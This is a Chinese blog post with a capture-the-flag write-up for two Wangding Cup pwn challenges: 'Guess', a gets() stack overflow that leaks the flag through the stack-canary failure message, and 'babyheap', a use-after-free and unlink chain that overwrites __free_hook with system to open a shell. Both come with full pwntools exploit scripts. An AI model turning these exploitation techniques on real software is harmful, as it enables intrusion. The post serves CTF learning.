美文网首页
网鼎杯第一场 writeup

网鼎杯第一场 writeup

作者: Fish_o0O | 来源:发表于2018-12-15 11:18 被阅读0次

    0x01 Guess

    • 程序功能
      程序先将flag读入内存中,然后与用户输入相比较,程序会fork三次,在三次之后还猜不对则退出。

    • 漏洞位置
      在用户输入flag时,是用gets()进行输入,此处存在栈溢出

      vul
    • 利用思路
      程序开了canary,存在栈溢出,并且把flag读到了内存中,我们可以考虑触发__stack_check_fail的异常处理链将内存中的flag打印出来,由于没有固定的地址,存在于栈中,所以要先leak栈地址,最后算出偏移将flag打印出来。

      checksec

    libc中有个environ指针指向存放环境变量的地址(栈上面),可通过此指针leak出栈地址。

    environ
    • my-exp
    from pwn import *
    local = 1
    
    if local:
        p = process('./GUESS')
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
        print 'time is up!'
    
    def guess(flag):
        flag = p64(0) * 37 + flag
        p.recvuntil('Please type your guessing flag\n')
        p.sendline(flag)
        p.recvuntil('***: ')
        return p.recvuntil(' ter')[:-4]
    
    def debug():
        print pidof(p)[0]
        raw_input()
    
    elf = ELF('./GUESS')
    #step1 leak libc_base
    gets_got = elf.got['gets']
    success('gets_got => ' + hex(gets_got))
    libc.address = u64(guess(p64(gets_got)) + '\x00' * 2) - libc.symbols['gets']
    success('libc_base => ' + hex(libc.address))
    
    #step2 leak environ_addr on the stack
    environ_addr_ptr = libc.symbols['environ']
    environ_addr= u64(guess(p64(environ_addr_ptr)) + '\x00' * 2)
    success('environ_addr => ' + hex(environ_addr))
    
    #step3 calc the offset of flag
    print guess(p64(environ_addr - 0x168))
    

    0x02 babyheap

    • 程序功能
      可申请最多10次的大小为0x20chunk,最多可edit 3chunk中的内容。

    • 漏洞位置
      free后不清空指针使.bss上存在Dangling ptr

      free
      edit时不会检查是否已经free可造成uaf
      edit
    • 利用思路
      因为只能edit3次,所以每次edit都要很精确。先利用连在一起的fastbin中构造出一个unlink的结构,并顺带leakheap_base第一次edit,在堆上构造fastbin attack,使在数组中出现触发unink的指针。第二次edit,写自身为free_hook第三次edit,将free_hook写为system但是!我死活没有leaklibc基址,从而无法在第二次将自身写为free_hook,也刚好无法写到limit的位置,于是我想了个骚操作绕了一大圈(下见被三个引号注释的脚本):将本该存堆指针的地方重新伪造个0x31来做fastbin attack,这样我就可以通过add来修改limit甚至修改可以索引到的指针来搞很多事情,虽然我只需要将leak一下libc基址,然后再写自身就行了。当时做出来的时候我觉得我简直是个天才,然后看了别人的writeup发现我简直是个傻逼,既然已经unlink获得了写自己的指针,第二次edit的时候把指针下移,第三次edit就可以直接改limit了。(下见未注释的脚本)。

    unlink时只需满足free堆块的size不在fastbin范围内,进行unlink的堆块的size无所谓。unlink后产生的指向自己上面的指针可以有大作用,不要想的太死板了。

    • my-exp
    from pwn import *
    
    local = 1
    
    if local:
        p = process('./babyheap')
        elf = ELF('./babyheap')
        libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    else:
        print 'Time is up!'
    
    def add(index , content):
        p.recvuntil('Choice:')
        p.sendline('1')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Content:')
        p.sendline(content)
        p.recvuntil('Done!')
    
    def edit(index , content):
        p.recvuntil('Choice:')
        p.sendline('2')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Content:')
        p.sendline(content)
        p.recvuntil('Done!')
    
    def show(index):
        p.recvuntil('Choice:')
        p.sendline('3')
        p.recvuntil('Index:')
        p.sendline(str(index))
        return p.recvuntil('Done!')[:-6]
    
    def free(index):
        p.recvuntil('Choice:')
        p.sendline('4')
        p.recvuntil('Index:')
        p.sendline(str(index))
        p.recvuntil('Done!')
    
    def debug():
        print pidof(p)[0]
        raw_input()
    
    free_got = elf.got['free']
    success('free_got => ' + hex(free_got))
    
    sleep(5)
    
    #leak heap_base
    ptr = 0x6020a8
    fake_fd = ptr - 0x18
    fake_bk = ptr - 0x10
    fake_unlink = p64(0) + p64(0xb1) + p64(fake_fd) + p64(fake_bk)
    fake_head = p64(0xb0) + p64(0x90)
    add(9 , fake_unlink[:-1])
    add(1 , '1' * 0x1f)
    add(2 , '2' * 0x1f)
    add(3 , '3' * 0x18 + '1')
    add(4 , '4' * 0x19)
    free(1)
    free(2)
    heap_base = u64(show(2).ljust(8 , '\x00')) - 0x30
    success('heap_base => ' + hex(heap_base))
    
    #unlink
    fake_fastbin = heap_base + 0xb0
    edit(2 , p64(fake_fastbin))
    add(5 , '5' * 0x8)
    add(6 , fake_head)
    add(7 , '7' * 0x1f)
    add(8 , '8' * 0x1f)
    add(0 , '0' * 0x1f)
    free(4)
    
    #leak libc_base
    payload = p64(free_got) + p64(0) * 2 + p64(0x6020a0)
    edit(9 , payload[:-1])
    libc.address = u64(show(6).ljust(8 , '\x00')) - libc.symbols['free']
    success('libc_base => ' + hex(libc.address))
    free_hook = libc.symbols['__free_hook']
    success('free_hook => ' + hex(free_hook))
    system_addr = libc.symbols['system']
    success('system_addr => ' + hex(system_addr))
    
    #break limit and change free_hook to system
    payload2 = p64(0) + p64(free_hook) + p64(4)
    edit(9 , payload2[:-1])
    edit(9 , p64(system_addr))
    
    #get shell
    add(8 , '/bin/sh')
    p.sendline('4')
    p.sendline('8')
    
    '''
    #make a fastbin attack to .bss
    free(8)
    bss_fastbin = 0x602090
    edit(8 , p64(bss_fastbin))
    bss_head = p64(0) + p64(0x31) + p64(0)
    edit(9 , bss_head[:-1])
    add(6 , '/bin/sh')
    
    #leak libc_base and change limit
    payload = p64(free_got) + p64(bss_fastbin) + p64(4)
    add(8 , payload)
    libc.address = u64(show(8).ljust(8 , '\x00')) - libc.symbols['free']
    success('libc_base => ' + hex(libc.address))
    free_hook = libc.symbols['__free_hook']
    success('free_hook => ' + hex(free_hook))
    system_addr = libc.symbols['system']
    success('system_addr => ' + hex(system_addr))
    
    #change free_hook to system
    payload = p64(heap_base + 0x130) + p64(0) + p64(0) + p64(free_hook)
    edit(9 , payload[:-1])
    edit(9 , p64(system_addr)[:-1])
    p.sendline('4')
    p.sendline('6')
    '''
    
    #debug()
    p.interactive()
    

    0x03 blind

    相关文章

      网友评论

          本文标题:网鼎杯第一场 writeup

          本文链接:https://www.haomeiwen.com/subject/ekmwiftx.html